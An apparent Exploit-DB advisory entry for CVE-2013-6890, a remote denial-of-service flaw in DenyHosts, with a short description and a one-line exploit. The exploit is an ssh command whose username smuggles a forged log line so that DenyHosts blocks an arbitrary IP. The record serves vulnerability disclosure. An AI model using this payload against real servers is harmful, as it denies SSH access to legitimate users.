DenyHosts 'regex.py' Remote Denial of Service Vulnerability

2013-12-19T00:00:00
ID EDB-ID:38909
Type exploitdb
Reporter Helmut Grohne
Modified 2013-12-19T00:00:00

Description

DenyHosts 'regex.py' Remote Denial of Service Vulnerability. CVE-2013-6890. Dos exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/64478/info

DenyHosts is prone to a remote denial-of-service vulnerability.

Successfully exploiting this issue allows remote attackers to deny further SSH network access to arbitrary IP addresses, denying service to legitimate users. 

ssh -l 'Invalid user root from 123.123.123.123' 21.21.21.21